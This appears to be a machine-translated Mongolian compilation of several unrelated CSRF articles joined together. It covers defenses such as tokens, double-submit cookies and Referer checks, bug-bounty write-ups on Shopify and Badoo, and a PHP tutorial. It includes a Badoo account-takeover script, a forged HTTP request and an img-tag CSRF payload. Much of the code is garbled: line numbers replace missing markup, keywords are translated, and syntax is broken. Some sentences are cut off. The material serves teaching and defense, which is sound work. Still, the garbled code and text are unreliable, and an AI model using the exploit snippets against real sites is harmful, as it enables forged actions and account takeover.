Зорилтот вэб сайт нь дараах аргуудын аль нэгийг ашиглан ижил гарал үүслийн бодлогыг идэвхгүй болговол энэ аргын хамгаалалтыг зогсоож болно.

• Зөвшөөрөгдсөн Хандалт-Хяналт-Зөвшөөрөх-Гарал үүслийн толгой хэсэг (аргумент одтой)
• clientaccesspolicy.xml файл нь Silverlight удирдлагад санамсаргүй хандалтыг олгодог
• crossdomain.xml файл нь Flash кинонд санамсаргүй хандах боломжийг олгодог

Давхар илгээх күүки

Cookie-to-header аргатай адил боловч JavaScript-ийг оролцуулалгүйгээр сайт нь CSRF жетоныг күүки болгон тохируулж, мөн тус бүрийн далд талбарт оруулах боломжтой. HTML хэлбэр, илгээсэн үйлчлүүлэгч. Маягтыг илгээх үед сайт нь күүки тэмдэглэгээ нь тэмдэглэгээний хэлбэртэй тохирч байгаа эсэхийг шалгах боломжтой. Нийтлэг гарал үүслийн бодлого нь халдагчийг зорилтот домэйн дээр күүки унших, тохируулахаас сэргийлдэг тул тэдгээр нь хүчинтэй токеныг өөрийн боловсруулсан хэлбэрээр байрлуулах боломжгүй.

Синхрончлогчийн загвараас энэ аргын давуу тал нь токеныг сервер дээр хадгалах шаардлагагүй юм.

Үйлчлүүлэгчийн баталгаа

RequestPolicy (Mozilla Firefox-т зориулсан) эсвэл Umatrix (Firefox болон Google Chrome/Chromium-д зориулсан) зэрэг хөтчийн өргөтгөлүүд нь сайт хоорондын хүсэлтийг өгөгдмөл үгүйсгэх бодлогыг хангаснаар CSRF-ээс сэргийлж чадна. Гэсэн хэдий ч энэ нь олон сайтын хэвийн үйл ажиллагаанд ихээхэн саад учруулж болзошгүй юм. CsFire өргөтгөл (мөн Firefox-д зориулагдсан) нь сайт хоорондын хүсэлтээс баталгаажуулалтын мэдээллийг устгаснаар CSRF-ийн нөлөөллийг багасгаж, ердийн хайлтын системд бага нөлөө үзүүлдэг.

Cross Site Request Forgery буюу CSRF нь хортой сайт, цахим шуудан, мессеж, аппликейшн болон бусад зүйл нь тухайн хэрэглэгчийг баталгаажуулсан өөр сайт дээр хэрэглэгчийн хөтөчийг ямар нэгэн үйлдэл хийхэд хүргэдэг халдлага юм. Ихэнхдээ энэ нь хэрэглэгчийн мэдэлгүйгээр тохиолддог.

CSRF халдлагын улмаас учирсан хохирол нь тухайн үйлдлийг хүлээн авсан сайтаас хамаарна. Энд нэг жишээ байна:

Боб онлайн банкны үйлчлүүлэгчид хувийн дансаа оруулдаг, зарим үйлдлүүдийг хийдэг боловч гарахгүй.

Боб цахим шуудангаа шалгаад түүнийг танихгүй сайт руу хөтөлдөг холбоос дээр дарна.

Танихгүй сайт Бобын онлайн банкны үйлчлүүлэгчээс мөнгө шилжүүлэх хүсэлт гаргаж, Бобын өмнөх сессээс хадгалсан күүки рүү мэдээллээ дамжуулдаг.

Bob's Bank сайт нь танил бус (хорлонтой) сайтын хүсэлтийг CSRF токен ашиглахгүйгээр хүлээн авч, орчуулгыг гүйцэтгэдэг.

Бүр илүү сонирхолтой нөхцөл байдал бол хорлонтой холбоотой холбоос юм
сайт нь хүчинтэй HTML-д агуулагдаж болох бөгөөд үүний ачаар Bo-
Та холбоос дээр дарах шаардлагагүй: . Хэрэв Бобын төхөөрөмж (жишээ нь, хөтөч) үзүүлбэл
Энэ зураг нь malicious_site.com руу хүсэлт гаргаж, CSRF халдлага үүсгэж болзошгүй.

Одоо та CSRF халдлагын аюулын талаар мэдэж байгаа тул та эдгээрээс хэд хэдэн аргаар хамгаалах боломжтой бөгөөд эдгээрийн хамгийн алдартай нь магадгүй өгөгдлийг өөрчлөх боломжтой аливаа хүсэлтийн хамт илгээх ёстой CSRF жетон ашиглах явдал юм ( POST хүсэлт гэх мэт). Вэб програм (Бобын онлайн банк гэх мэт) нь хоёр хэсгээс бүрдэх жетон үүсгэх шаардлагатай бөгөөд тэдгээрийн нэгийг Боб хүлээн авах бөгөөд хоёр дахь хэсгийг нь програмд ​​​​хадгалах болно.

Боб мөнгө шилжүүлэх хүсэлт гаргахыг оролдох үед тэр жетон илгээх шаардлагатай бөгөөд энэ нь програмд ​​хадгалагдсан жетоныг ашиглан банк хүчинтэй эсэхийг баталгаажуулах болно.

Одоо бид CSRF болон CSRF жетонуудын талаар мэддэг болсон тул Cross Origin Resource Sharing (CORS) нь илүү утга учиртай болсон ч би шинэ зорилтуудыг судалж байхдаа үүнийг анзаарсан байх. Ерөнхийдөө CORS нь өгөгдөлд хандах боломжтой нөөцийн жагсаалтыг хязгаарладаг. Өөрөөр хэлбэл, CORS-ийг сайтын аюулгүй байдлыг хангахад ашиглах үед зорилтот програм руу залгахын тулд Javascript бичиж, хариултыг уншиж, зорилтот сайт зөвшөөрвөл дахин дуудлага хийх боломжтой.

Хэрэв энэ нь ойлгомжгүй мэт санагдаж байвал Javascript ашиглан HackerOne.com/activity.json руу залгаж, хариултыг уншаад хоёр дахь дуудлага хийнэ үү. Үүний ач холбогдлыг та доорх жишээ №3-аас харж болно.

Эцэст нь хэлэхэд, CSRF жетонгүй хүсэлт бүр хүчингүй биш гэдгийг анхаарах нь чухал (үүнийг зааж өгсөн Жоберт Абмад баярлалаа). Зарим сайтууд эх сурвалжийг харьцуулах зэрэг нэмэлт шалгалтуудыг хийж болно (хэдийгээр энэ нь аюулгүй байх баталгаагүй бөгөөд тойрч гарах тохиолдол байдаг). Энэ нь хүссэн эх сурвалжтай холбогдох хуудасны хаягийг тодорхойлох талбар юм. Өөрөөр хэлбэл, хэрэв эхлэгч тал (шилжүүлэгч)

HTTP хүсэлтийг хүлээн авсан сайтаас өөр сайтаас POST дуудлага хийвэл тухайн сайт CSRF жетон ашиглахтай ижил үр дүнд хүрэхийг зөвшөөрөхгүй байж магадгүй. Нэмж дурдахад сайт бүр токен үүсгэх эсвэл тодорхойлохдоо csrf нэр томъёог ашигладаггүй. Жишээлбэл, Badoo дээр энэ нь доор тайлбарласны дагуу rt параметр юм.

CSRF-ийн OWASP тестийг уншина уу

Жишээ 1. Суурилуулсан Shopify хэрэглэгчдийг экспортлох

Хэцүү байдал: бага
Url: https://app.shopify.com/services/partners/api_clients/XXXX/export_installed_users

Тодорхойлолт:

Shopify API нь дээр үзүүлсэн URL-ээр суулгасан хэрэглэгчдийн жагсаалтыг экспортлох эцсийн цэгийг өгдөг. Эмзэг тал нь сайт нь энэ эцсийн цэгт хүсэлт гаргаж, хариуд нь мэдээлэл хүлээн авах боломжтой байсан

Shopify энэ хүсэлтийг баталгаажуулахын тулд CSRF токен ашиглаагүй. Үүний үр дүнд дараах HTML кодыг сэжиглээгүй хохирогчийн өмнөөс маягт илгээхэд ашиглаж болно.

1 2 csrf 3 4 7 8 9

Энэ жишээнд энгийн айлчлалаар Javascript хуудсуудхохирогчийн хөтөч дээр тохируулсан Shopify күүки ашиглан Shopify API-д GET хүсэлтийг агуулсан маягтыг илгээдэг.

дүгнэлт

Довтолгооныхоо цар хүрээг нэмэгдүүлж, зөвхөн сайт дээр төдийгүй API дээр алдаануудыг хайж олоорой. API-ийн төгсгөлийн цэгүүд нь ашиглалтын боломжит зам байдаг тул ялангуяа вэб интерфэйсийг үүсгэсний дараа API-г боловсруулсан эсвэл ашиглах боломжтой гэдгийг мэдэж байгаа бол үүнийг санах нь зүйтэй.

2. Shopify-г Twitter-ээс салга

Хэцүү байдал: бага
Url: https://twitter-commerce.shopifyapps.com/auth/twitter/disconnect

Shopify нь дэлгүүрийн эздэд бүтээгдэхүүнийхээ талаар жиргэх боломжийг олгодог Twitter-ийн нэгдлийг хангадаг. Үүний нэгэн адил үйлчилгээ нь холбогдсон дэлгүүрээс Twitter хаягаа салгах боломжийг олгодог.

Дэлгүүрээс өөрийн Twitter хаягаа хаах URL-г дээр жагсаасан байна. Хүсэлтийг гаргахдаа Shopify нь CSRF жетоныг баталгаажуулаагүй бөгөөд энэ нь халдагч этгээдэд хуурамч холбоос үүсгэх боломжийг олгосон бөгөөд энэ нь дарсан үед сэжиггүй дэлгүүрийн эзэн өөрийн дэлгүүрийг Twitter-ээс салгахад хүргэж болзошгүй юм.

Эмзэг байдлыг тайлбарлахдаа WeSecureApp эмзэг хүсэлтийн дараах жишээг өгсөн; img тагийг ашигласнаар эмзэг URL руу залгадаг болохыг анхаарна уу:

1 GET /auth/twitter/disconnect HTTP/1.1 2 Host: twitter-commerce.shopifyapps.com 3 Хэрэглэгчийн агент: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.1 4 1; rv:43.0) Gecko/20100101 Firefox/43. 5 Зөвшөөрөх: text/html, application/xhtml+xml, application/x 6 мл 7 Accept-Language: en-US,en;q=0.5 8 Accept-Encoding: gzip, deflate 9 Referer: https://twitter-commerce .shopifyapps.com/accou 10 nt 11 Күүки: _twitter-commerce_session=REDACTED 12 >Холболт: амьд байлгах

Хөтөч нь дамжуулсан URL-аас зургийг авахын тулд GET хүсэлт гаргадаг бөгөөд CSRF токен баталгаажуулаагүй тул захиалгат дэлгүүрийг одоо идэвхгүй болгосон:

1 2 3 5 6

дүгнэлт

Энэ нөхцөлд тайлбарласан эмзэг байдлыг Burp эсвэл Firefox Tamper Data зэрэг прокси сервер ашиглан зөвхөн Shopify руу илгээсэн хүсэлтийг хараад GET хүсэлтийг ашиглан хүсэлт гаргасан болохыг олж мэдэх боломжтой. Энэ нь тасалдалтай байсан тул GET хүсэлт нь сервер рүү өгөгдлийг өөрчлөх ёсгүй тул үүнийг судлах нь зүйтэй.

3. Badoo дээрх дансыг бүрэн шилжүүлээрэй

Хэцүү байдал: Дунд зэрэг
URL: https://badoo.com
Мэдээлэх холбоос: https://hackerone.com/reports/12770312
Тайлангийн огноо: 2016 оны 4-р сарын 1
Шагналыг төлсөн: 852 доллар

Тодорхойлолт:

Хэрэв та Badoo-г харвал URL-д rt параметрийг оруулснаар CSRF-ээс хамгаалдаг бөгөөд энэ нь ердөө 5 тэмдэгт (наад зах нь бичих үед). Хэдийгээр Badoo HackerOne дээр кампанит ажил эхлүүлэх үед үүнийг анзаарсан ч би үүнийг ашиглах арга замыг олж чадаагүй байна. Гэсэн хэдий ч Махмуд Жамал (zombiehelp54) үүнийг олсон.

rt параметрийн утгыг ойлгосны дараа тэр параметрийг бараг бүх json хариултуудад буцаасан болохыг анзаарсан. Харамсалтай нь CORS нь эдгээр хариултыг уншсанаар Badoo-г халдлагаас хамгаалдаг тул энэ нь ямар ч сайн зүйл хийсэнгүй. Махмуд үргэлжлүүлэн хайсаар байв.

https://eu1.badoo.com/worker-scope/chrome-ser файл нь rt утгыг агуулж байгаа нь тогтоогдсон. Хамгийн сайн нь энэ файл байсан юм
халдагч дур зоргоороо уншиж болох бөгөөд шаардлагагүй
хохирогч хортой вэб хуудсанд зочлохоос өөр арга хэмжээ авдаггүй. Түүний өгсөн код энд байна:

1 2 3 Badoo бүртгэлийг 4 6 7 8 9 функцээр авсан getCSRFcode(str) ( 10 буцах str.split('='); 11 ) 12 window.onload = function())( 13 var csrf_code = getCSRFcode(url_stats); 14 csrf_url = 'https://eu1.badoo.com/google/verify.phtml?c 15 ode=4/nprfspM3yfn2SFUBear08KQaXo609JkArgoju1gZ6Pc&authu 16 ser=3&session_state7+7&01cb=48b csrf_code ; 18 window.location = csrf_url 19); 20

Үндсэндээ хохирогч хуудсыг ачаалах үед энэ нь Badoo скриптэд хүсэлт гаргаж, тухайн хэрэглэгчийн rt параметрийг сонгоод дараа нь хохирогчийн нэрийн өмнөөс хүсэлтийг гаргадаг. Энэ тохиолдолд Махмудын дансыг хохирогчийн данстай холбосон нь дансыг бүрэн эзэмших боломжийг олгосон юм.

дүгнэлт

Утаа байгаа газар гал гарч байна. Энд Махмуд rt параметрийг өөр өөр газар, тодорхой json хариултуудад буцааж байгааг анзаарсан. Тиймээс тэр үүнийг js файлд энэ тохиолдолд ашиглаж болох газар харуулж болно гэж зөв тооцоолсон.

Үр дүн

CSRF халдлага нь өөр нэг аюултай халдлагын векторыг төлөөлдөг бөгөөд хохирогчийн идэвхтэй үйл ажиллагаа бага эсвэл огт байхгүй байж болно. CSRF-ийн эмзэг байдлыг олохын тулд зарим нэг ур чадвар, дахин бүх зүйлийг туршиж үзэх хүсэл эрмэлзэл шаардагдана.

Дүрмээр бол, хэрэв сайт POST хүсэлт гаргасан бол маягтуудыг Rails гэх мэт фреймворкоор хамгаалдаг боловч API нь үүнийг хийх боломжтой.

тусдаа түүх байх. Жишээлбэл, Shopify нь үндсэндээ Ruby on Rails хүрээн дээр бичигдсэн байдаг бөгөөд энэ нь анхдагч байдлаар бүх маягтыг CSRF хамгаалалтаар хангадаг (хэдийгээр үүнийг идэвхгүй болгох боломжтой). Гэсэн хэдий ч, энэ хүрээг ашиглан үүсгэсэн API-ийн хувьд энэ нь заавал байх албагүй нь ойлгомжтой. Эцэст нь сервер дээрх өгөгдлийг өөрчилдөг (устгах үйлдэл гэх мэт) болон GET хүсэлтийг ашиглан хийгдсэн дуудлагад анхаарлаа хандуулаарай.

Би энэ эмзэг байдал нь яг юу болохыг, хамгийн чухал нь CSRF халдлага хийхэд ямар нөхцөл шаардлагатайг тайлбарлахыг оролдсон.

Энэ нийтлэлд би гаднаас ийм төрлийн халдлагаас хамгаалах талаар ярихыг хичээх болно.

• Үйлчлүүлэгчийн талаас - өөрийгөө хамгаалах гол арга замууд
• Сервер тал - програмын зөв дизайн

Хэрэв та өөрийгөө CSRF-ээс хэрхэн хамгаалах талаар сонирхож байгаа бол мууранд тавтай морилно уу.

ерөнхий мэдээлэл

Ерөнхийдөө CSRF бол эмзэг байдал биш, халдлагын нэг төрөл гэдгийг сануулмаар байна. Энэхүү халдлага нь вэб програмын эцсийн хэрэглэгч дээр энэ програмын эмзэг байдлыг ашиглан хийгддэг бөгөөд үүнийг "Хүсэлтийн эх сурвалжийг зохих ёсоор баталгаажуулаагүй" гэж нэрлэж болно (Би энэ нэрийг өөрөө гаргаж ирсэн, битгий хатуу шүүмжил, гэхдээ энэ нь үнэн). Гэхдээ цаашид би CSRF-ийг эмзэг байдал гэж нэрлэх бөгөөд энэ нь илүү энгийн тул нэг халдлага болж хувирах бөгөөд үүнийг хүлээн зөвшөөрч байна =)

Тэгээд хэрэглэгч рүү халдлага үйлддэг тул хэрэглэгч өөрийгөө хамгаалах ёстой... зүгээр л тоглож байна =) Ямар ч хэрэглэгч өөрийн ашигладаг аль ч сайт руугаа энэ халдлагад өртөх боломжийг багасгаж чадна (эдгээр сайтууд байхгүй байсан ч гэсэн). CSRF-ийн эсрэг суурилуулсан хамгаалалт). Гэхдээ хэрэглэгчдээс гадна сайтын хөгжүүлэгчид өөрсдөө хэрэглэгчиддээ ийм халдлага хийхээс урьдчилан сэргийлэх үүднээс програмаа зохиож чаддаг.

Хоёр талын хамгаалалтыг авч үзье.

Хэрэглэгчийн хамгаалалт

Ерөнхийдөө энд бүх зүйл маш энгийн зүйл юм:

• Гуравдагч этгээдээс танд санал болгож буй холбоос дээр дарж болохгүй. Энэ бол хамгийн улиг болсон зөвлөгөө, би үүнийг хүн бүр мэддэг байх гэж бодож байна, гэхдээ би үүнийг дахин хэлэхээр шийдсэн.
• Тодорхой сайттай ажиллаж дууссаны дараа зөвшөөрлийг цуцлах. Хэдийгээр эмзэг байдал байгаа ч халдагч таны өмнөөс зорилтот сайт дээр үйлдэл хийх боломжгүй болно.
• Чухал сайтуудтай ажиллахын тулд тусдаа хөтөч эсвэл "хувийн эсвэл нэргүй горим" ашиглана уу (хамгийн тохиромжтой нь сайт бүрт нэг хөтөч ашиглах эсвэл бүр илүү сайн, тусдаа компьютер ашиглах: D).

Тэгээд л болоо. Одоо гол зүйл рүүгээ орцгооё.

Хөгжүүлэгчийн хамгаалалт

Өмнө дурьдсанчлан, эмзэг байдал нь хүсэлтийн эх сурвалжийг зохих ёсоор баталгаажуулаагүй явдал юм. Өөрөөр хэлбэл, програмыг боловсруулахдаа бид энэ эх сурвалжийг шалгах функцийг бий болгох хэрэгтэй. Тэгээд бидний санаанд хамгийн түрүүнд юу орж ирдэг вэ? Зөв! Илгээгчийн шалгалт.

Илгээгчийн шалгалт

Өгүүллийг диагональ байдлаар уншдаг хүмүүст би шууд хэлье. Зөвхөн энэ толгой хэсгийг шалгахдаа хамгаалалтаа үндэслэх нь муу(!). Яагаад - доороос үзнэ үү.

Эхлээд энэ арга юу болохыг олж мэдье.

Бид HTTP протоколыг ашиглан вэбсайтуудтай ажилладаг. Энэ протоколын багц бүр толгой + пакетийн агуулгын багц юм. Эдгээр толгойн нэг нь Referer юм. Энэ нь лавлагааны эх сурвалжийн хаягийг агуулдаг. Өчүүхэн жишээ: танд А сайт нээлттэй байна, энэ сайт дээр та В сайтын холбоос дээр дарна уу, яг одоо хүсэлт гаргах үед Referer толгой хэсэгт А сайтын хаяг байх болно. Өөрөөр хэлбэл, энэ нь хэрэглэгч хаанаас ирснийг хянах хамгийн тохиромжтой механизм юм шиг санагдаж байна.

Энд тунхууны байна. Энд гол зүйл бол лавлагаа илгээгчийг хуурамчаар үйлдэх явдал биш юм (ямар эрүүл саруул хакер хохирогчоос лавлагаа сольж, заасан холбоосыг дагахыг хүсэх вэ). Миний статистик мэдээллээс харахад хэрэглэгчдийн 5 орчим хувь нь Referer дамжуулалтыг хаасан байдаг. Өөрөөр хэлбэл, эдгээр таван хувь нь сайттай огт ажиллахгүй, эсвэл энэ халдлагад өртөмтгий байх болно (таны програмын бодлогоос хамааран).

Тиймээ, тийм ээ, би чиний юу бодож байгааг мэдэж байна... За, энэ 5% ямар новш вэ? Тэднийг эмзэг байг, гэхдээ үлдсэн 95% нь хамгаалагдсан бөгөөд үүний зэрэгцээ та бага хэмжээний цус зарцуулдаг. Өөрөөр хэлбэл, лавлагаа нь манай өргөдлийн хаягийг агуулсан эсвэл хоосон байвал эх сурвалжийг баталгаажуулсан гэж үзэх үү? Энд тунхуу дахин ирлээ! Хохирогчийн хөтөчийг илгээгчийг зааж өгөхгүйгээр хүсэлтийг биелүүлэхийг албадах сонголтууд байдаг (би энэ тухай бичсэн)! Тэгээд voila! Бүх хэрэглэгчид эмзэг хэвээр байгаа нь харагдаж байна.

Ерөнхийдөө бие даасан аргын хувьд энэ арга нь утгагүй юм.

Үйлдлийн баталгаажуулалт

Та илгээх маягт бүр дээр captcha хавсаргаж, бүртгэлтэй хэрэглэгчдэдээ хүртэл үзүүлж CSRF-ээс аврах боломжтой... Хэдийгээр би ийм системд ажиллахаас илүү хакерт дансаа өгөхийг илүүд үзэх байх...

Токенууд

За, одоо цорын ганц зөв, найдвартай арга.

Утга энэ аргахолбоос, мэдүүлгийн маягт гэх мэт зарим "жетон" агуулсан параметрийг нэмэхээс бүрдэнэ. Хүсэлтийг хүлээн авахдаа сервер хүлээн зөвшөөрөгдсөн параметрүүдэд энэ токен байгаа эсэхийг шалгах ёстой. Мэдээжийн хэрэг, хэрэглэгч бүрийн токен бүр өвөрмөц байх ёстой бөгөөд жетон бүр өвөрмөц байх ёстой.

Хэрэгжүүлэх хамгийн энгийн бөгөөд найдвартай жишээнүүдийн нэг бол хүсэлт болгонд шинэ токен үүсгэж, хэрэглэгчийн күүкид суулгаж, хуудасны маягт, холбоосын параметрүүдэд нэмж оруулсан болно.

Дараа нь хүсэлт бүрийг хүлээн авсны дараа күүки дэх токеныг маягтын параметрт заасан жетонтой харьцуулна. Хэрэв тэд адилхан бол хүсэлтийн эх сурвалж нь хууль ёсных юм. Дараа нь токен дахин үүсгэгдэж, күүки дотор дахин суулгана гэх мэт. дугуй.

Ерөнхийдөө хэрэгжилт нь өөр байж болох ч асуудал нь та холбоос бүр, маягт бүр, хуудас бүрийг анхаарч үзэх хэрэгтэй тул жетон руу шилжих нь нэлээд хэцүү байдаг ... Та зөвхөн чухал хуудас/маягт/холбоосыг хамгаалах боломжтой, гэхдээ тэгвэл заримыг нь алдах боломж бий.

Би хувьдаа зөвхөн POST маягт болон маш чухал холбоосуудыг хамгаалдаг. Өөрөөр хэлбэл, миний програмууд дахь POST нь зөв жетонгүйгээр ажиллахгүй. Энэ нь ямар нэг хэлбэрийг хамгаалахаа мартах боломжийг арилгадаг, учир нь энэ нь зүгээр л ажиллахгүй бөгөөд би үүнийг шууд анзаарах болно.

Дүгнэлт

Энэ нийтлэлээс та өөрийгөө CSRF халдлагаас хэрхэн хамгаалахаа ойлгосон гэдэгт найдаж байна.

Зохиогчоос: Энэ хичээлийг бичих болсон шалтгаан нь манай форум дээрх асуулт байсан бөгөөд энэ нь вэбсайтыг CSRF халдлагаас хэрхэн хамгаалах вэ? Мэдээжийн хэрэг, бид энэ сэдвээр тэр даруй хариу өгч, хамгаалалтын механизмыг хэрэгжүүлэх жижиг алгоритмыг өгсөн. Гэхдээ манай уншигчид бүгд форумыг уншаагүй байх магадлалтай тул би дээрх асуудлын талаар тусдаа хичээл бичихээр шийдсэн.

Одоогийн видео нь шаардлагатай вэбсайт дээр хэрэгжиж болох бүрэн хэмжээний бэлэн шийдлийг өгөхгүй гэдгийг нэн даруй тэмдэглэхийг хүсч байна. Учир нь та нарын хүн нэг бүр өвөрмөц логик бүтэцтэй, өөрөөр хэлбэл бусдаас тэс өөр вэбсайттай эсвэл байх болно, энэ нь бүх зүйлийг ажиглаж, бэлэн хамгаалалтын скрипт үүсгэх боломжгүй гэсэн үг юм. боломжит сонголтуудхэрэгжилт.

Хамгаалалтын механизмын мөн чанар нь маш энгийн тул энэ нь шаардлагагүй бөгөөд туршилтын талбайн жишээг ашиглан та дээрх төрлийн халдлагаас өөрийгөө хэрхэн хамгаалах талаар үзэх болно. олж авсан мэдлэг дээрээ үндэслэн та өөрийн төсөл дээр ижил төстэй алхмуудыг хийх болно. Ингээд эхэлцгээе.

CSRF нь Cross-Site Request Forgery гэсэн англи үгнээс үүссэн товчилсон нэр бөгөөд энэ нь сайт хоорондын хүсэлтийг хуурамчаар үйлдэх гэсэн утгатай. Энэ нэр томъёо 2001 онд Питер Уоткинс нэлээд эртнээс нэвтрүүлсэн боловч хүмүүс 1988 онд ийм төрлийн халдлагын талаар ярьж эхэлсэн. Хангалттай хугацаа өнгөрсөн хэдий ч ихэнх интернет вэбсайтууд энэ халдлагад өртөж байгааг анхаарна уу. Тэр даруй асуулт гарч ирнэ - яагаад ийм байна вэ? Хариулт нь маш энгийн бөгөөд CSRF халдлагын эмзэг байдал нь програмын кодын алдаа биш харин хөтөч болон вэб серверийн бүрэн хэвийн ажиллагааны үр дагавар юм.

Халдлагын мөн чанар нь халдагч өөр бүртгэлтэй (эрх бүхий) хэрэглэгчийн нэрийн өмнөөс хамгаалалтгүй вэб сайт дээр янз бүрийн үйлдэл хийж чаддагт оршино. Өөрөөр хэлбэл энэ төрөлхалдлага нь хэрэглэгч халдагчийн вэб сайт руу зочилдог бөгөөд энэ нь эргээд түүний анзааралгүй зарим нэг урьдчилан тодорхойлсон үйлдлүүдийг тухайн хэрэглэгчийн байгаа өөр вэб сайт эсвэл үйлчилгээнд гүйцэтгэхэд хүргэдэг. Энэ мөчэрх бүхий.

Энэ тохиолдолд дүрмээр бол CSRF халдлагын бай нь тодорхой үйлдлүүдийг гүйцэтгэдэг янз бүрийн интерактив вэб програмууд, жишээлбэл, имэйл илгээх үйлчилгээ, янз бүрийн форум, төлбөрийн систем гэх мэт. Өөрөөр хэлбэл, хакер нь бусад хэрэглэгчдийн нэрийн өмнөөс зарим үйлдэл хийх боломжтой - мессеж илгээх, шинэ данс нэмэх, санхүүгийн гүйлгээ хийх гэх мэт.

Одоо туршилтын талбайн жишээн дээр энэхүү халдлагын үр нөлөөг харцгаая.

Ажил нь илгээх вэб сайт байна гэж бодъё имэйлэрх бүхий хэрэглэгчийн нэрийн өмнөөс заасан хаягаар. Энэ нь дээр нүүр хуудасБид мессеж илгээх маягтыг харж байна. Түүнээс гадна GET хүсэлтээр тодорхой параметрүүдийг дамжуулах үед мессеж илгээх механизм байдаг (жишээ нь). Нэвтрэх хуудас дараах байдалтай байна.

Энэ хуудасмаш энгийн, гэхдээ таны анхаарлыг татдаг зүйл бол хөтчийн күүки дэх зөвшөөрлийн өгөгдлийг хадгалахад ашигладаг "Гишүүн" гэсэн нүд юм. Үнэн хэрэгтээ энэ механизм нь хэрэглэгчдэд маш тохиромжтой, учир нь энэ нь хуудас руу дахин нэвтрэх боломжийг хөнгөвчлөх боловч аюулгүй байдлын үүднээс маш их хүсээгүй юм. Гэсэн хэдий ч зочдын төлөө тодорхой буулт хийх шаардлагатай болдог.

Хоёр аргыг (GET ба POST) ашиглан мессеж илгээх код дараах байдалтай байна.

//Мессеж илгээж байна if($this->isGet() && !empty($_GET["имэйл"])) ( $body = "Сайн уу, энэ бол мессежийн хэлбэр - ".$this->хэрэглэгч["нэр"] ; $body .= " Агуулга - GET-ээс - ".$_GET["content"].." -аас - ".$_GET["email"]; mail(" [имэйлээр хамгаалагдсан]","Шинэ мессеж",$body); ) if($this->isPost()) ( $body = "Сайн уу, энэ бол мессежийн хэлбэр - ".$this->user["name"]; $body .= " Content - FROM POST - ".$_POST["content"]."From - ".$_POST["email"]; mail(" [имэйлээр хамгаалагдсан]","Шинэ мессеж",$body); )

//Зурвас илгээх хэрэв ($ this -> isGet () && ! хоосон ( $ _GET [ "и-мэйл" ] ) ) ( $ бие =. $ this -> хэрэглэгч [ "нэр" ] ; $ бие. = "Агуулга - GET-ээс - " . $_GET["контент"]. "-аас". $_GET["имэйл"]; хэрэв ($ this -> isPost()) ( $body = "Сайн уу, энэ бол мессежийн хэлбэр - ". $ this -> хэрэглэгч [ "нэр" ] ; $ бие. = "Агуулга - ШИЛДЭЭС - " . $_POST["контент"]. "-аас". $_POST["имэйл"]; шуудан(" [имэйлээр хамгаалагдсан]", "Шинэ мессеж", $body);

Одоо өөр сайтыг харцгаая - хакерын сайт.

GET хүсэлтэд халдлага хийх шаардлагатай бол маш энгийн боловч маш үр дүнтэй кодыг байрлуулж болно.

< img src = "http://localhost/csrf/[имэйлээр хамгаалагдсан]&content=Сайн уу ертөнц" >

Өөрөөр хэлбэл, бид img хаягийг харж байна, src шинж чанар нь халдлагад өртөх гэж буй сайт руу чиглэсэн замыг агуулсан, тодорхой үйлдлийг гүйцэтгэхэд шаардлагатай параметрүүдийн багцтай. Манай тохиолдолд энэ нь мессеж илгээж байгаа бөгөөд энэ нь одоо халдагч зөвхөн хэрэглэгчийг одоогийн сайт руу татах хэрэгтэй гэсэн үг бөгөөд хөтөч нь ачаалахыг оролдох тул түүний мэдэлгүй сонирхсон сайт руу хүсэлт гаргах болно. src шинж чанарт заасан зам нь зураг. Үүний зэрэгцээ, хөтчийн күүки нь зөвшөөрлийн өгөгдлийг хадгалдаг бөгөөд мэдээж хэрэг програм нь тэдгээрийг шууд ашигладаг бөгөөд үүний дагуу дээрх хүсэлтийг сервер амжилттай боловсруулах болно гэдгийг бид санаж байна. Энэ нь хэрэглэгчийн нэрийн өмнөөс мессеж илгээгдэнэ гэсэн үг юм.

Хэрэв бид хүсэлтийн хамт илгээсэн толгойн багцыг харвал үнэхээр нэвтрэх өгөгдөл бүхий күүкиг харж болно. данс, энэ нь дээр дурьдсанчлан хүсэлтийг баталгаажуулсан хэрэглэгчээс ирсэн гэж хүлээн зөвшөөрөх нь мэдээж гэсэн үг.

Хүсэлт илгээхтэй яг ижил нөхцөл байдал. POST арга, зөвхөн энэ тохиолдолд халдагч өөрийн вэбсайт дээр маягт үүсгэх бөгөөд зочин энэ сайт руу ороход JavaScript ашиглан автоматаар илгээгдэх болно.

Тиймээс энэ төрлийн дайралтаас өөрийгөө хамгаалах нь зайлшгүй бөгөөд цорын ганц юм үр дүнтэй аргахамгаалалт нь тусгай жетон ашиглах явдал юм.

Хамгаалалтын токен нь тодорхой хэрэглэгчдэд зориулж санамсаргүй байдлаар үүсгэгдсэн мөр бөгөөд өгөгдлийг өөрчлөхтэй холбоотой хүсэлт бүрт дамжуулагддаг. Нэмж дурдахад токен нь сессэд хадгалагдана. Тиймээс хамгаалалтын мөн чанар нь хүсэлтэд дамжуулагдсан токен болон сессэд хадгалагдаж буй токенуудын захидал харилцааг энгийн шалгахад л ирдэг. Хэрэв жетон хоёулаа ижил байвал хүсэлтийг эрх бүхий хэрэглэгч илгээсэн болно. Хэрэв жетон таарахгүй эсвэл хүсэлтэд ямар ч токен байхгүй бол бид халдлага хийж байна гэж маш итгэлтэйгээр дүгнэж болно, энэ нь ямар ч үйлдэл хийх боломжгүй гэсэн үг юм.

Тодорхой үйлдлийг өөрчлөх, гүйцэтгэхэд чиглэсэн бүх хүсэлтийг хамгаалах шаардлагатай гэдгийг анхаарна уу.

Үнэн хэрэгтээ энэ үе шатанд хичээлийн текстийн хэсэг дууссан бөгөөд бид видео хувилбарт өгөгдсөн сэдвийг үргэлжлүүлэн ярих болно. Үүний зэрэгцээ бид жетон үүсгэх аргуудыг авч үзэх бөгөөд дээр дурдсан хамгаалалтын алгоритмыг практикт хэрэгжүүлэх болно. Одоо баяртай гэж хэлцгээе. Аз жаргалтай кодчилол !!!